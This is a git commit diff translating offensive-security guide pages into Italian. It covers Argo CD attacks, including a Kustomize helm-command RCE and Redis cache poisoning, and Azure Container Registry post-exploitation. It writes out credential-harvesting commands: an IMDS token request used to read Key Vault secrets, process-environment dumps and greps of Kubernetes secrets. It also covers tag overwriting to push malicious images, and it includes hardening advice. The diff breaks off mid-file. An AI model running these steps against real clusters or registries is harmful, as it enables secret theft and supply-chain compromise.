Translated ['src/pentesting-ci-cd/argocd-security.md', 'src/pentesting-c

This commit is contained in:
Translator
2026-07-19 09:23:46 +00:00
parent 26e16817e4
commit 5c74337f88
5 changed files with 220 additions and 124 deletions
Binary file not shown.
+84 -83
View File
@@ -1,21 +1,21 @@
# Argo CD Security
# Sicurezza di Argo CD
{{#include ../banners/hacktricks-training.md}}
## Informazioni di base
[Argo CD](https://argo-cd.readthedocs.io/) è una piattaforma di continuous delivery GitOps per Kubernetes. Monitora i repository Git, genera i manifest Kubernetes con strumenti come Helm, Kustomize, Jsonnet o config management plugins, e riconcilia lo stato live del cluster con lo stato desiderato memorizzato in Git.
[Argo CD](https://argo-cd.readthedocs.io/) è una piattaforma di continuous delivery GitOps per Kubernetes. Monitora i repository Git, esegue il rendering dei manifest Kubernetes con strumenti come Helm, Kustomize, Jsonnet o plugin di config management e riconcilia lo stato attuale del cluster con lo stato desiderato archiviato in Git.
Dal punto di vista di un attacker, considera Argo CD come un **motore di deployment con credenziali Kubernetes**. Un compromesso utile di Argo CD può portare a:
Dal punto di vista di un attaccante, considera Argo CD un **deployment engine con credenziali Kubernetes**. Una compromissione utile di Argo CD può portare a:
- Accesso a repository Git privati e credenziali del repository.
- Accesso ai secret del cluster Kubernetes usati da Argo CD.
- Esecuzione di codice nella generazione dei manifest in `argocd-repo-server`.
- Deployment non autorizzato di oggetti Kubernetes tramite repository Git trusted, applicazioni Argo CD o manipolazione della cache.
- Accesso a repository Git privati e alle credenziali dei repository.
- Accesso ai secrets del cluster Kubernetes utilizzati da Argo CD.
- Esecuzione di codice durante la generazione dei manifest in `argocd-repo-server`.
- Deployment non autorizzato di oggetti Kubernetes tramite repository Git considerati affidabili, applicazioni Argo CD o manipolazione della cache.
## Architettura e componenti interessanti
Common Kubernetes objects and services:
Oggetti e servizi Kubernetes comuni:
```bash
kubectl get pods,svc,endpoints,ingress -A | grep -iE 'argocd|argo-cd'
kubectl get applications,appprojects,applicationsets -A 2>/dev/null
@@ -24,10 +24,10 @@ kubectl get networkpolicy -n argocd 2>/dev/null
```
Servizi interessanti:
- **`argocd-server`**: API pubblica, web UI, CLI API, autenticazione e autorizzazione.
- **`argocd-application-controller`**: confronta lo stato desiderato e quello effettivo, poi applica le risorse a Kubernetes.
- **`argocd-repo-server`**: clona repository, mette in cache i dati Git e esegue Helm/Kustomize/Jsonnet/plugins per generare i manifest. La porta gRPC predefinita è **8081**.
- **`argocd-redis`**: cache per dati di application, manifest e riferimenti Git. La porta Redis predefinita è **6379**.
- **`argocd-server`**: API pubblica, UI web, API CLI, autenticazione e autorizzazione.
- **`argocd-application-controller`**: confronta lo stato desiderato e quello attuale, quindi applica le risorse a Kubernetes.
- **`argocd-repo-server`**: clona i repository, memorizza nella cache i dati Git ed esegue Helm/Kustomize/Jsonnet/plugin per generare i manifest. La porta gRPC predefinita è **8081**.
- **`argocd-redis`**: cache per i dati delle applicazioni, dei manifest e dei riferimenti Git. La porta Redis predefinita è **6379**.
- **`argocd-applicationset-controller`**: genera oggetti Argo CD `Application` da generatori come Git, SCM, cluster e pull request.
Da un pod compromesso o da un segmento di rete interno, verifica la raggiungibilità interna:
@@ -36,9 +36,9 @@ nc -vz <argocd-server> 443
nc -vz <argocd-repo-server> 8081
nc -vz <argocd-redis> 6379
```
## Attacchi Public API / UI
## Attacchi alla API / UI pubblica
Se hai credenziali Argo CD o un'istanza esposta, inizia dalla normale superficie API:
Se disponi delle credenziali di Argo CD o di un'istanza esposta, inizia dalla normale superficie API:
```bash
argocd login <argocd-server>
argocd account get-user-info
@@ -51,13 +51,13 @@ argocd admin settings rbac can <subject> <action> <resource> <object>
```
Percorsi di attacco utili:
- **Application write access**: modifica `source.repoURL`, `source.path`, valori Helm, opzioni Kustomize, impostazioni plugin o opzioni di sync così Argo CD distribuisce manifest controllati dall'attaccante.
- **Project misconfiguration**: gli oggetti `AppProject` possono consentire `sourceRepos` ampi, `destinations` ampi, `clusterResourceWhitelist` non sicura o restrizioni deboli sui namespace.
- **Repository credential abuse**: i segreti del repository, le credenziali GitHub App, le chiavi SSH e i token possono consentire il push su repo fidati o l'aggiunta di dipendenze malevole.
- **Cluster credential abuse**: i segreti del cluster possono contenere bearer token o configurazione exec-provider usata da Argo CD per distribuire nei cluster di destinazione.
- **Local admin / project tokens**: i token Argo CD a lunga durata possono essere riusati tramite l'API finché non vengono revocati o scadono.
- **Accesso in scrittura alle Application**: modifica `source.repoURL`, `source.path`, i valori Helm, le opzioni Kustomize, le impostazioni dei plugin o le opzioni di sync affinché Argo CD distribuisca manifest controllati dall'attaccante.
- **Configurazione errata del Project**: gli oggetti `AppProject` possono consentire `sourceRepos` ampi, `destinations` ampie, un `clusterResourceWhitelist` non sicuro o restrizioni deboli sui namespace.
- **Abuso delle credenziali del repository**: i secret del repository, le credenziali GitHub App, le chiavi SSH e i token possono consentire il push verso repo considerati affidabili o l'aggiunta di dipendenze malevole.
- **Abuso delle credenziali del cluster**: i secret del cluster possono contenere bearer token o configurazioni `exec-provider` utilizzate da Argo CD per distribuire nei cluster target.
- **Token locali di admin / project**: i token Argo CD a lunga durata possono essere riutilizzati tramite l'API finché non vengono revocati o scadono.
Enumera la configurazione da Kubernetes quando hai accesso di lettura al cluster:
Enumera la configurazione da Kubernetes quando disponi dell'accesso in lettura al cluster:
```bash
kubectl get applications.argoproj.io -A -o yaml
kubectl get appprojects.argoproj.io -A -o yaml
@@ -65,26 +65,26 @@ kubectl get applicationsets.argoproj.io -A -o yaml
kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey'
kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
```
## Abuso di Trusted Git Repository
## Abuso di un repository Git trusted
Se puoi fare push su un repository trusted da Argo CD, di solito puoi influenzare ciò che viene deployato. L'impatto dipende dai confini di `AppProject` e dai permessi del service account usato dall'application controller.
Se puoi eseguire il push su un repository considerato trusted da Argo CD, di solito puoi influenzare ciò che viene deployato. L'impatto dipende dai limiti di `AppProject` e dai permessi del service account utilizzato dall'application controller.
Posizioni comuni dei payload:
- Raw Kubernetes YAML sotto un path dell'application.
- Template Helm chart e `values.yaml`.
- Kustomize overlays, remote bases e generator.
- Input di Jsonnet o config management plugin.
- File generator di ApplicationSet che creano o aggiornano oggetti `Application`.
- YAML Kubernetes grezzo all'interno del percorso di un'applicazione.
- Template di Helm chart e `values.yaml`.
- Overlay Kustomize, remote base e generator.
- Input di Jsonnet o del config management plugin.
- File del generator di ApplicationSet che creano o aggiornano oggetti `Application`.
Controlla se l'app usa automated sync, pruning, self-heal, sync windows o approvazioni manuali:
Verifica se l'app utilizza automated sync, pruning, self-heal, sync windows o approvazioni manuali:
```bash
kubectl get applications.argoproj.io -A \
-o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
```
## Abuso diretto di `argocd-repo-server`
Non assumere che la API pubblica di Argo CD sia l'unica attack surface. I componenti interni di Argo CD comunicano con `argocd-repo-server` tramite gRPC. Se pod arbitrari possono raggiungere repo-server, richieste interne controllate dall'attacker possono bypassare i controlli normalmente applicati da `argocd-server`.
Non dare per scontato che l'API pubblica di Argo CD sia l'unica attack surface. I componenti interni di Argo CD comunicano con `argocd-repo-server` tramite gRPC. Se pod arbitrari possono raggiungere repo-server, richieste interne controllate dall'attaccante possono bypassare i controlli normalmente applicati da `argocd-server`.
Controlli pratici:
```bash
@@ -94,20 +94,20 @@ nc -vz <argocd-repo-server> 8081
```
Segnali interessanti:
- L'endpoint gRPC di repo-server è raggiungibile da pod non-Argo CD.
- I NetworkPolicies mancano o consentono solo egress in allow-list senza negare ingress.
- repo-server ha accesso a custom config management plugins, strumenti di decryption o content del repository da più tenant.
- Redis è raggiungibile da pod non-Argo CD, consentendo l'ispezione o la manipolazione della cache se le credenziali sono disponibili o non richieste.
- L'endpoint gRPC di repo-server è raggiungibile da pod non appartenenti ad Argo CD.
- Le NetworkPolicies sono assenti o consentono solo l'egress tramite allow-list senza negare l'ingress.
- repo-server ha accesso a custom config management plugins, strumenti di decryption o contenuti di repository appartenenti a più tenant.
- Redis è raggiungibile da pod non appartenenti ad Argo CD, consentendo l'ispezione o la manomissione della cache se le credenziali sono disponibili o non sono richieste.
## Unauthenticated Repo-Server RCE via Kustomize Options
## RCE non autenticata di repo-server tramite Kustomize Options
Nel luglio 2026, Synacktiv ha divulgato una catena di code execution non autenticata in `repo-server` di Argo CD quando un attacker può raggiungere il servizio gRPC interno. L'attacco sfrutta l'accesso diretto a `/repository.RepoServerService/GenerateManifest` e `KustomizeOptions` controllati dall'attacker.
A luglio 2026, Synacktiv ha divulgato una catena di code execution non autenticata in `repo-server` di Argo CD, quando un attaccante può raggiungere il servizio gRPC interno. L'attacco sfrutta l'accesso diretto a `/repository.RepoServerService/GenerateManifest` e `KustomizeOptions` controllati dall'attaccante.
La primitive pericolosa consiste nel forzare repo-server a clonare content del repository controllato dall'attacker ed eseguire Kustomize con supporto Helm:
La primitiva pericolosa consiste nel costringere repo-server a clonare contenuti di repository controllati dall'attaccante ed eseguire Kustomize con il supporto a Helm:
```bash
kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
```
Input Kustomize malevolo minimo necessario per attivare l'elaborazione Helm:
Input Kustomize malevolo minimo necessario per attivare l'elaborazione di Helm:
```yaml
helmCharts:
- name: pwn
@@ -116,16 +116,16 @@ version: 0.0.1
Perché funziona:
- `argocd-repo-server` clona il repository prima del rendering.
- `--helm-command ./payload.sh` viene risolto in modo relativo al repository clonato.
- L'esecuzione di codice non richiede injection di metacaratteri della shell se l'attaccante può controllare il repository renderizzato e le opzioni di build di Kustomize.
- `--helm-command ./payload.sh` viene risolto in relazione al repository clonato.
- L'esecuzione di codice non richiede l'iniezione di metacaratteri della shell se l'attaccante può controllare il repository sottoposto a rendering e le opzioni di build di Kustomize.
Al momento della disclosure di Synacktiv del 1 luglio 2026, è stato segnalato che il problema non aveva un fix ufficiale né un CVE. Consideralo prima di tutto un problema di network-exposure: lo sfruttamento richiede raggiungibilità verso la porta gRPC interna di repo-server.
Al momento della disclosure di Synacktiv del 1° luglio 2026, è stato riportato che il problema non aveva alcuna correzione ufficiale né un CVE. Consideralo innanzitutto un problema di esposizione di rete: lo sfruttamento richiede la raggiungibilità della porta gRPC interna di `repo-server`.
## Redis Cache Poisoning to Deploy Manifests
## Redis Cache Poisoning per il Deploy dei Manifest
Dopo l'esecuzione di codice in `argocd-repo-server`, oppure dopo accesso diretto a Redis con credenziali valide, ispeziona le entry della cache supportate da Redis. Argo CD in genere memorizza valori JSON compressi con gzip.
Dopo l'esecuzione di codice in `argocd-repo-server`, oppure dopo l'accesso diretto a Redis con credenziali valide, esamina le voci della cache gestite da Redis. Argo CD memorizza comunemente valori JSON compressi con gzip.
Prefissi di chiavi interessanti:
Prefissi delle chiavi interessanti:
```text
mfst|... # cached rendered manifests
git-refs|... # Git branch/ref to commit mappings
@@ -134,35 +134,35 @@ cluster|... # cluster cache information
```
L'attacco di cache poisoning descritto da Synacktiv sfrutta due elementi di stato:
1. Modificare la voce di cache del manifest `mfst|...` pertinente per includere un manifest Kubernetes controllato dall'attaccante.
2. Modificare il mapping `git-refs|...` correlato in modo che Argo CD creda che il branch sia stato spostato e poi riconcili di nuovo verso la revisione in cache.
1. Modificare la voce pertinente della cache del manifest `mfst|...` per includere un manifest Kubernetes controllato dall'attaccante.
2. Modificare la mappatura correlata `git-refs|...` in modo che Argo CD ritenga che il branch sia cambiato e quindi esegua nuovamente la riconciliazione sulla revisione memorizzata nella cache.
Impatto:
- Con Auto Sync abilitato, Argo CD p applicare automaticamente il manifest in cache avvelenato.
- Senza Auto Sync, il payload p comunque essere applicato quando un utente sincronizza manualmente l'applicazione.
- L'impatto finale è limitato dalla destination dell'applicazione target e dai permessi Kubernetes disponibili ad Argo CD.
- Con Auto Sync abilitato, Argo CD potrebbe applicare automaticamente il manifest avvelenato nella cache.
- Senza Auto Sync, il payload potrebbe comunque essere applicato quando un utente sincronizza manualmente l'application.
- L'impatto finale è limitato dalla destinazione dell'application target e dai permessi Kubernetes disponibili per Argo CD.
## ApplicationSet Attacks
## Attacchi ApplicationSet
ApplicationSet è particolarmente sensibile perché crea o aggiorna oggetti `Application` a partire dall'output del generator.
Review:
Revisione:
```bash
kubectl get applicationsets.argoproj.io -A -o yaml
kubectl get appprojects.argoproj.io -A -o yaml
```
Pattern interessanti:
Interesting patterns:
- I generatori git leggono file scrivibili dall'attaccante che controllano app names, paths, projects o destinations.
- I generatori pull request per repository pubblici in cui contributor non trusted possono influenzare le generated applications.
- I campi template che consentono broad destination clusters/namespaces.
- Git generators che leggono file scrivibili dall'attacker che controllano app names, paths, projects o destinations.
- Pull request generators per repository pubblici in cui contributor non attendibili possono influenzare le generated applications.
- Template fields che consentono broad destination clusters/namespaces.
- AppProjects che permettono `sourceRepos: ["*"]` o broad `destinations`.
- Generated applications che ereditano automated sync e pruning.
## Post-Exploitation
Da una shell del pod Argo CD, dai priorità a:
Da una shell del pod di Argo CD, dare priorità a:
```bash
env
cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
@@ -171,49 +171,50 @@ mount | grep -E 'secret|token|config'
```
Obiettivi utili:
- Rubare `REDIS_PASSWORD` o materiale Redis TLS/client.
- Estrarre credenziali del repository da secrets montati o Argo CD Kubernetes secrets.
- Identificare le credenziali del cluster usate da Argo CD.
- Leggere generated manifests e l'output dei plugin che possono includere secrets iniettati.
- Verificare se custom plugins, SOPS, Helm secrets, Vault plugins o cloud CLIs espongono decryption keys e cloud credentials.
- Rubare `REDIS_PASSWORD` o il materiale TLS/client di Redis.
- Estrarre le credenziali dei repository dai secrets montati o dai secrets Kubernetes di Argo CD.
- Identificare le credenziali del cluster utilizzate da Argo CD.
- Leggere i manifest generati e l'output dei plugin che potrebbero includere secrets iniettati.
- Verificare se plugin personalizzati, SOPS, Helm secrets, plugin Vault o cloud CLIs espongono chiavi di decrittazione e credenziali cloud.
## Detection & Hardening
## Rilevamento e hardening
Controlli importanti:
- Limita la porta **8081** di `argocd-repo-server` e la porta **6379** di Redis con NetworkPolicies in modo che solo i componenti Argo CD previsti possano raggiungerli.
- Nelle distribuzioni Helm, verifica che le network policies vengano effettivamente create. I valori dell'Argo CD Helm chart hanno storicamente impostato la creazione delle network policy dei componenti su disabled.
- Mantieni `argocd-server` come punto di ingresso autenticato. I servizi interni non dovrebbero essere raggiungibili da workload arbitrari.
- Disabilita gli strumenti e i plugin di config management non usati.
- Limita `AppProject` `sourceRepos`, `destinations`, namespace permissions e cluster-scoped resources.
- Evita di archiviare repository credentials ampie che un utente Argo CD a basso privilegio possa far riutilizzare.
- Monitora le richieste al repo-server, le Kustomize build options, le esecuzioni dei plugin, le scritture Redis e accessi inattesi alle chiavi `mfst|` / `git-refs|`.
- Ruota gli utenti locali Argo CD, i project tokens, le repository credentials e le cluster credentials dopo una compromissione.
- Limitare la porta **8081** di `argocd-repo-server` e la porta Redis **6379** con NetworkPolicies, in modo che solo i componenti Argo CD previsti possano raggiungerle.
- Nelle implementazioni Helm, verificare che le network policies vengano effettivamente create. I valori dell'Helm chart di Argo CD hanno storicamente impostato per impostazione predefinita la creazione delle network policy dei componenti su disabled.
- Mantenere `argocd-server` come entry point autenticato. I servizi interni non dovrebbero essere raggiungibili da workload arbitrari.
- Disabilitare gli strumenti di config management e i plugin inutilizzati.
- Limitare `sourceRepos`, `destinations`, i permessi sui namespace e le risorse cluster-scoped di `AppProject`.
- Evitare di memorizzare credenziali ampie dei repository in posizioni dove un utente Argo CD con privilegi ridotti possa causarne il riutilizzo.
- Monitorare le richieste al repo-server, le opzioni di build di Kustomize, le esecuzioni dei plugin, le scritture su Redis e gli accessi imprevisti alle chiavi `mfst|` / `git-refs|`.
- Ruotare gli utenti locali Argo CD, i token dei progetti, le credenziali dei repository e le credenziali dei cluster dopo una compromissione.
Useful commands:
Comandi utili:
```bash
kubectl get networkpolicy -n argocd
kubectl get networkpolicy -A | grep -i argocd
kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
```
## Nota di Static Analysis: Typed API Requests in CodeQL
## Nota sull'analisi statica: richieste API tipizzate in CodeQL
Per i servizi Go che usano handler gRPC/REST, i default CodeQL remote sources possono perdere i flussi una volta che linput grezzo è stato unmarshaled in typed request objects. Un modello utile per i servizi in stile Argo CD è:
Per i servizi Go che utilizzano handler gRPC/REST, le remote sources predefinite di CodeQL potrebbero non rilevare i flussi una volta che l'input grezzo è stato unmarshaled in oggetti di richiesta tipizzati. Un modello utile per i servizi in stile Argo CD è:
- Receiver type come `Server` o `Service`.
- Tipo receiver come `Server` o `Service`.
- Il primo parametro è `context.Context`.
- Il secondo parametro è un typed request object.
- Il secondo parametro è un oggetto di richiesta tipizzato.
Modella quel secondo parametro come remote source e aggiungi custom sinks per gli argomenti di `exec.Command` / `exec.CommandContext`. Questo aiuta a trovare flussi dai campi delle internal API request verso i command execution helpers.
Modellate il secondo parametro come remote source e aggiungete custom sinks per gli argomenti di `exec.Command` / `exec.CommandContext`. Questo aiuta a individuare i flussi dai campi delle richieste API interne agli helper di esecuzione dei comandi.
## References
## Riferimenti
- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
- [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
- [Documentazione di Argo CD - Considerazioni sulla sicurezza](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
- [Documentazione di Argo CD - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
- [Documentazione di Argo CD - Riferimento ai comandi di repo-server](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
- [Argo CD - Manifest NetworkPolicy di repo-server](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
- [Documentazione di Argo CD - metriche](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
- [Argo Helm - riferimento ai valori del chart](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
- [Kustomize - esempio di generatore di chart Helm](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
{{#include ../banners/hacktricks-training.md}}
@@ -6,4 +6,8 @@
az-azure-ai-foundry-post-exploitation.md
{{#endref}}
{{#ref}}
az-container-registry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,87 @@
# Az - Container Registry Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Registry
Per ulteriori informazioni su questo servizio, consulta:
{{#ref}}
../az-services/az-container-registry.md
{{#endref}}
### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
Un'identità con accesso al management plane di ACR può trasformare tale accesso in **credenziali Docker riutilizzabili**. Se l'**admin user** è disabilitato, ma il principal dispone anche di `registries/write`, abilitalo, recupera le password ed esegui l'autenticazione direttamente su `<registry>.azurecr.io`.
```bash
az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
az acr credential show -n <registry-name>
docker login <registry-name>.azurecr.io -u <username> -p <password>
```
Questo è utile perché le credenziali recuperate possono essere riutilizzate al di fuori di Azure CLI per **list, pull, push, overwrite e talvolta delete** dei contenuti del registry, finché l'account admin non viene disabilitato o le password non vengono ruotate.
### `Microsoft.ContainerRegistry/registries/pull/read`
Usa l'accesso pull per la **ricognizione dei repository** e la **ricerca di secret** all'interno delle immagini. Esamina sia la configurazione finale del container sia i layer storici del filesystem, perché i file copiati in un layer possono rimanere recuperabili anche se vengono eliminati successivamente.
```bash
az acr repository list -n <registry-name>
az acr repository show-tags -n <registry-name> --repository <repository> --detail
docker pull <registry-name>.azurecr.io/<repository>:<tag>
container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
docker cp "$container_id":/ ./extracted_container
docker rm "$container_id"
docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
dive <registry-name>.azurecr.io/<repository>:<tag>
```
Gli obiettivi di alto valore includono **variabili d'ambiente**, **configurazioni applicative**, **script di deployment**, **certificati**, **token di accesso** e **stringhe di connessione**. Per ulteriori idee durante la revisione dei layer, consulta la pagina Docker forensics:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `Microsoft.ContainerRegistry/registries/push/write`
L'accesso push consente a un attacker di **avvelenare repository attendibili** o **sovrascrivere tag mutabili** come `latest`, `prod` o `stable`. Qualsiasi workload che esegue ancora il deployment tramite tag anziché digest potrebbe effettuare il pull dell'immagine dell'attacker durante il deployment successivo, un evento di scale-out o un riavvio.
```bash
# Retag an existing local image for the target ACR
docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
# If your workstation architecture differs from the target runtime, build for the consumer platform first
docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
```
Prima di sostituire un tag, verifica quali repository e tag vengono effettivamente utilizzati dai workload downstream. I consumer **digest-pinned** (`@sha256:...`) sono molto più difficili da reindirizzare rispetto ai consumer basati sui tag.
### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
Se puoi sia **sostituire l'image** utilizzata da un workload container downstream sia **riavviare** quel workload, l'entrypoint malevolo viene eseguito all'interno del **contesto di rete e managed identity** del container target. Da lì, l'image può richiedere token a IMDS e accedere alle risorse Azure raggiungibili dall'identità del workload.
```bash
TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
curl -H "Authorization: Bearer $TOKEN" \
'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
az container restart --resource-group <resource-group> --name <container-name>
```
Questo trasforma un overwrite di un tag ACR in **esecuzione di codice**, **furto di secret** o **movimento laterale** all'interno di qualsiasi container consumer che si fidi del tag modificato ed esponga un'identità utile.
### Percorso privesc correlato: ACR Tasks managed identities
Se disponi anche di `Microsoft.ContainerRegistry/registries/tasks/write` e `Microsoft.ContainerRegistry/registries/runs/write`, passa al percorso di privesc ACR e abusa direttamente della managed identity del task:
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Riferimenti
- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,39 +2,39 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
Azure Container Registry (ACR) è un registry privato e sicuro che ti consente di **archiviare, gestire e accedere alle container images nel cloud Azure**. Si integra perfettamente con diversi servizi Azure, fornendo workflow automatizzati di build e deployment su larga scala. Con funzionalità come geo-replication e vulnerability scanning, ACR aiuta a garantire sicurezza e compliance di livello enterprise per le applicazioni containerizzate.
Azure Container Registry (ACR) è un registry privato e sicuro che consente di **archiviare, gestire e accedere alle immagini dei container nel cloud Azure**. Si integra perfettamente con diversi servizi Azure, fornendo workflow automatizzati di build e deployment su larga scala. Grazie a funzionalità come la geo-replication e la vulnerability scanning, ACR contribuisce a garantire sicurezza e conformità di livello enterprise per le applicazioni containerizzate.
### Permissions
### Permessi
Questi sono i **diversi permessi** [secondo la documentazione](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) che possono essere assegnati su un Container Registry:
Questi sono i **diversi permessi** [secondo la documentazione](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) che possono essere concessi su un Container Registry:
- Access Resource Manager
- Create/delete registry
- Push image
- Pull image
- Delete image data
- Change policies
- Sign images
- Accesso a Resource Manager
- Creazione/eliminazione del registry
- Push delle immagini
- Pull delle immagini
- Eliminazione dei dati delle immagini
- Modifica delle policy
- Firma delle immagini
Ci sono anche alcuni **built-in roles** che possono essere assegnati, ed è anche possibile creare **custom roles**.
Sono inoltre disponibili alcuni **ruoli integrati** che possono essere assegnati ed è anche possibile creare **ruoli personalizzati**.
![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png)
![Matrice dei permessi dei ruoli integrati di Azure Container Registry per la gestione di registry, immagini, dati, policy e operazioni di firma](/images/registry_roles.png)
### Authentication
### Autenticazione
> [!WARNING]
> È molto imporatante che anche se il nome del registry contiene alcune lettere maiuscole, devi sempre usare **lettere minuscole** per fare login, push e pull delle images.
> È molto importante che, anche se il nome del registry contiene lettere maiuscole, si utilizzino sempre **lettere minuscole** per eseguire il login, il push e il pull delle immagini.
Ci sono 4 modi per autenticarsi a un ACR:
Esistono 4 modi per autenticarsi a un ACR:
- **Con Entra ID**: È il modo **default** per autenticarsi a un ACR. Usa il comando **`az acr login`** per autenticarsi all'ACR. Questo comando **salverà le credenziali** nel file **`~/.docker/config.json`**. Inoltre, se esegui questo comando da un ambiente senza accesso a un docker socket come in una **cloud shell**, è possibile usare il flag **`--expose-token`** per ottenere il **token** per autenticarsi all'ACR. Poi, per autenticarti, devi usare come nome utente `00000000-0000-0000-0000-000000000000` ad esempio: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Con un admin account**: L'admin user è disabilitato per default, ma può essere abilitato e poi sarà possibile accedere al registry con **username** e **password** dell'admin account con permessi completi sul registry. È ancora supportato perché alcuni servizi Azure lo usano. Nota che vengono create **2 passwords** per questo utente ed entrambe sono valide. Puoi abilitarlo con `az acr update -n <acrName> --admin-enabled true`. Nota che lo username è di solito il nome del registry (e non `admin`).
- **Con un token**: È possibile creare un **token** con uno specifico **`scope map`** (permessi) per accedere al registry. Poi, è possibile usare il nome del token come username e una qualsiasi delle password generate per autenticarsi al registry con `docker login -u <registry-name> -p <password> <registry-url>`
- **Con un Service Principal**: È possibile creare un **service principal** e assegnare un ruolo come **`AcrPull`** per fare pull delle images. Poi, sarà possibile **login to the registry** usando l'appId dello SP come username e un secret generato come password.
- **Con Entra ID**: questo è il modo **predefinito** per autenticarsi a un ACR. Utilizza il comando **`az acr login`** per autenticarsi all'ACR. Questo comando **salverà le credenziali** nel file **`~/.docker/config.json`**. Inoltre, se si esegue questo comando da un ambiente senza accesso a un socket Docker, come una **cloud shell**, è possibile utilizzare il flag **`--expose-token`** per ottenere il **token** da utilizzare per autenticarsi all'ACR. Per autenticarsi è quindi necessario utilizzare come nome utente `00000000-0000-0000-0000-000000000000`, come segue: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Con un account amministratore**: l'utente amministratore è disabilitato per impostazione predefinita, ma può essere abilitato; sarà quindi possibile accedere al registry con lo **username** e la **password** dell'account amministratore, con permessi completi sul registry. Questa modalità è ancora supportata perché alcuni servizi Azure la utilizzano. Si noti che per questo utente vengono create **2 password**, entrambe valide. È possibile abilitarla con `az acr update -n <acrName> --admin-enabled true`. Si noti che lo username è solitamente il nome del registry (e non `admin`).
- **Con un token**: è possibile creare un **token** con una **scope map** (permessi) specifica per accedere al registry. È quindi possibile utilizzare il nome del token come username e una delle password generate per autenticarsi al registry con `docker login -u <registry-name> -p <password> <registry-url>`
- **Con un Service Principal**: è possibile creare un **Service Principal** e assegnargli un ruolo come **`AcrPull`** per eseguire il pull delle immagini. Sarà quindi possibile **eseguire il login al registry** utilizzando l'appId della SP come username e un secret generato come password.
Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry:
Script di esempio dalla [documentazione](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) per generare una SP con accesso a un registry:
```bash
#!/bin/bash
ACR_NAME=$containerRegistry
@@ -49,41 +49,41 @@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app
